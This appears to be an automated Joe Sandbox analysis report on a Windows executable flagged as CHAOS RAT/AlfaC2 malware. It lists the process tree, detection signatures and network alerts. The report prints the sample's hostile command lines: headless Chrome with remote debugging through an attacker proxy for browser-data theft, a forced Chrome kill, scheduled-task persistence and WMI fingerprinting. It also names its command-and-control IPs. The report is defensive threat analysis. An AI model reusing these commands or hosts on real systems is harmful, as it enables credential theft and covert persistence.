Edit tour

Windows Analysis Report
0A7XTINw3R.exe

Overview

General Information

Sample name:	0A7XTINw3R.exe renamed because original name is a hash value
Original sample name:	fa3102d579b1b05b124c915605cdb7d8.exe
Analysis ID:	1581254
MD5:	fa3102d579b1b05b124c915605cdb7d8
SHA1:	2955db386e5cf0dc05d5573c13e79a6a292725d8
SHA256:	eae52236c435290e8bd36a3ce2cab5299b9ec04566b0ceb4521bc174b519aab7
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Allocates memory in foreign processes

Connects to many ports of the same IP (likely port scanning)

Found Tor onion address

Hijacks the control flow in another process

Injects a PE file into a foreign processes

Modifies the context of a thread in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Notepad Making Network Connection

Sigma detected: Potential Data Stealing Via Chromium Headless Debugging

Sigma detected: Suspicious Process Parents

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Execution In Headless Mode

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

0A7XTINw3R.exe (PID: 6848 cmdline: "C:\Users\user\Desktop\0A7XTINw3R.exe" MD5: FA3102D579B1B05B124C915605CDB7D8)

winclock.exe (PID: 6264 cmdline: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe MD5: F5BADC8754C48F70B305C62050DFF950)

powershell.exe (PID: 4340 cmdline: powershell Get-Process chrome | Stop-Process -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --proxy-server=http://45.150.223.100:65140 --noerrdialogs --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User Data" --mojo-platform-channel-handle=2216 --field-trial-handle=1968,i,13464842929730428422,1671638957188183847,262144 --disable-features=PaintHolding /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

schtasks.exe (PID: 6172 cmdline: schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 4420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 908 cmdline: schtasks /run /tn RunUpdateNotificationSvc MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

malnotify.exe (PID: 4500 cmdline: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe MD5: 2BECD73BF8437F366765B7F1D493A16F)

notepad.exe (PID: 1852 cmdline: "C:\Windows\system32\notepad.exe" MD5: 27F71B12CB585541885A31BE22F61C83)

powershell.exe (PID: 4820 cmdline: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6572 cmdline: powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5448 cmdline: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1216 cmdline: powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 3716 cmdline: schtasks /create /tn HiveUploadService /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat\" /sc onlogon /rl highest /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 4124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4304 cmdline: schtasks /run /tn HiveUploadService MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3448 cmdline: C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cscript.exe (PID: 1216 cmdline: cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs" MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD)

winclock.exe (PID: 600 cmdline: "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe" MD5: F5BADC8754C48F70B305C62050DFF950)

conhost.exe (PID: 5288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4336 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 796 cmdline: C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cscript.exe (PID: 5428 cmdline: cscript //nologo "d42706bf42e64bbdfe3696dd11d9bad4.vbs" MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD)

malnotify.exe (PID: 4444 cmdline: "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe" MD5: 2BECD73BF8437F366765B7F1D493A16F)

notepad.exe (PID: 280 cmdline: "C:\Windows\system32\notepad.exe" MD5: 27F71B12CB585541885A31BE22F61C83)

powershell.exe (PID: 6892 cmdline: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 884 cmdline: powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4412 cmdline: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6816 cmdline: powershell -Command "(Get-WmiObject -Class Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).Version + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture + ' ' + (Get-WmiObject -Class Win32_OperatingSystem).BuildNumber" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2257028867.000000C000C36000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000001A.00000002.2525980469.000000C003724000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
0000001A.00000002.2509316872.000000C000200000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000

Sigma Signatures

System Summary

Sigma detected: Notepad Making Network Connection

Source: Network Connection

Author: EagleEye Team: Data: DestinationIp: 157.7.208.157, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\System32\notepad.exe, Initiated: true, ProcessId: 1852, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49835

Sigma detected: Potential Data Stealing Via Chromium Headless Debugging

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data", CommandLine|base64offset|contains: ^i^, Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe, ParentImage: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe, ParentProcessId: 6264, ParentProcessName: winclock.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data", ProcessId: 6452, ProcessName: chrome.exe

Sigma detected: Suspicious Process Parents

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID", CommandLine: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\notepad.exe", ParentImage: C:\Windows\System32\notepad.exe, ParentProcessId: 1852, ParentProcessName: notepad.exe, ProcessCommandLine: powershell -Command "(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID", ProcessId: 4820, ProcessName: powershell.exe

Sigma detected: Browser Execution In Headless Mode

Source: Process started

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data", CommandLine|base64offset|contains: ^i^, Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe, ParentImage: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe, ParentProcessId: 6264, ParentProcessName: winclock.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --no-startup-window --profile-directory=Default --proxy-server=http://45.150.223.100:65140 --remote-debugging-port=37712 --use-mock-keychain "--user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data", ProcessId: 6452, ProcessName: chrome.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 185.196.8.218, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\System32\notepad.exe, Initiated: true, ProcessId: 1852, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49853

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f, CommandLine: schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\0A7XTINw3R.exe", ParentImage: C:\Users\user\Desktop\0A7XTINw3R.exe, ParentProcessId: 6848, ParentProcessName: 0A7XTINw3R.exe, ProcessCommandLine: schtasks /create /tn RunUpdateNotificationSvc /tr \"C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat\" /sc hourly /mo 3 /f, ProcessId: 6172, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs", CommandLine: cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs", CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3448, ParentProcessName: cmd.exe, ProcessCommandLine: cscript //nologo "e775357b2b21508be040c5b0f0c4c8e8.vbs", ProcessId: 1216, ProcessName: cscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Get-Process chrome | Stop-Process -Force, CommandLine: powershell Get-Process chrome | Stop-Process -Force, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe, ParentImage: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe, ParentProcessId: 6264, ParentProcessName: winclock.exe, ProcessCommandLine: powershell Get-Process chrome | Stop-Process -Force, ProcessId: 4340, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4336, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE CHAOS RAT/AlfaC2 Client Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:10:36.708282+0100	2046872	1	Malware Command and Control Activity Detected	192.168.2.4	49853	185.196.8.218	8080	TCP
2024-12-27T09:10:44.653955+0100	2046872	1	Malware Command and Control Activity Detected	192.168.2.4	49877	185.196.8.218	8080	TCP

ET MALWARE CHAOS RAT/AlfaC2 CnC Server Status Check

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:10:36.644650+0100	2046873	1	Malware Command and Control Activity Detected	192.168.2.4	49854	185.196.8.218	8080	TCP
2024-12-27T09:10:44.654022+0100	2046873	1	Malware Command and Control Activity Detected	192.168.2.4	49878	185.196.8.218	8080	TCP

ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:10:07.802753+0100	2036752	1	A Network Trojan was detected	185.196.8.218	56711	192.168.2.4	49757	TCP

ET MALWARE Win32/CHAOS RAT/AlfaC2 Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T09:10:57.357561+0100	2037145	1	Malware Command and Control Activity Detected	192.168.2.4	49854	185.196.8.218	8080	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 0A7XTINw3R.exe

Virustotal: Detection: 13%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Programs\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036752 - Severity 1 - ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound) : 185.196.8.218:56711 -> 192.168.2.4:49757
Source: Network traffic	Suricata IDS: 2046872 - Severity 1 - ET MALWARE CHAOS RAT/AlfaC2 Client Checkin : 192.168.2.4:49853 -> 185.196.8.218:8080
Source: Network traffic	Suricata IDS: 2046873 - Severity 1 - ET MALWARE CHAOS RAT/AlfaC2 CnC Server Status Check : 192.168.2.4:49854 -> 185.196.8.218:8080
Source: Network traffic	Suricata IDS: 2046872 - Severity 1 - ET MALWARE CHAOS RAT/AlfaC2 Client Checkin : 192.168.2.4:49877 -> 185.196.8.218:8080
Source: Network traffic	Suricata IDS: 2046873 - Severity 1 - ET MALWARE CHAOS RAT/AlfaC2 CnC Server Status Check : 192.168.2.4:49878 -> 185.196.8.218:8080
Source: Network traffic	Suricata IDS: 2037145 - Severity 1 - ET MALWARE Win32/CHAOS RAT/AlfaC2 Checkin : 192.168.2.4:49854 -> 185.196.8.218:8080

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\notepad.exe	Network Connect: 157.7.208.157 443
Source: C:\Windows\System32\notepad.exe	Network Connect: 185.196.8.218 8080

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 45.150.223.100 ports 0,1,4,5,6,65140
Source: global traffic	TCP traffic: 185.196.8.218 ports 8080,1,56711,5,6,7

Found Tor onion address

Source: 0A7XTINw3R.exe, 00000000.00000000.1683504172.0000000000646000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: m=nil base , val netdnsdomaingophertelnet.localreturn.onionip+netuint16uint32uint64structchan<-<-chan ValueAcceptServerCommoncmd/goSTREETavx512rdrandrdseedheaderAnswerLengthderivedInitialfloat32float64UpgradeTrailerHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTconsolePATHEXT\\.\UNCabortedCopySidWSARecvWSASendconnectsignal :eventsTuesdayJanuaryOctoberMUI_StdMUI_Dlt19531259765625avx512fSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN, goid= s=nil
Source: 0A7XTINw3R.exe, 00000000.00000002.2256071288.000000C000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: m=nil base , val netdnsdomaingophertelnet.localreturn.onionip+netSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minuteseconduint16uint32uint64structchan<-<-chan ValueAcceptServerCommonSTREETcmd/goavx512rdrandrdseedheaderAnswerLengthderivedInitialUpgradeTrailerHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECT19531259765625avx512ffloat32float64CopySidFreeSidSleepExWSARecvWSASendconnectconsoleSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil
Source: malnotify.exe, 00000012.00000000.2235368180.0000000000640000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: m=nil base , val netdnsdomaingophertelnet.localreturn.onionip+netSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minuteseconduint16uint32uint64structchan<-<-chan ValueAcceptServerCommonSTREETcmd/goavx512rdrandrdseedheaderAnswerLengthderivedInitialUpgradeTrailerHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECT19531259765625avx512ffloat32float64CopySidFreeSidSleepExWSARecvWSASendconnectconsoleSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil
Source: malnotify.exe, 0000001A.00000000.2255037801.0000000000640000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: m=nil base , val netdnsdomaingophertelnet.localreturn.onionip+netSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minuteseconduint16uint32uint64structchan<-<-chan ValueAcceptServerCommonSTREETcmd/goavx512rdrandrdseedheaderAnswerLengthderivedInitialUpgradeTrailerHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECT19531259765625avx512ffloat32float64CopySidFreeSidSleepExWSARecvWSASendconnectconsoleSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 56711
Source: unknown	Network traffic detected: HTTP traffic on port 65140 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 65140
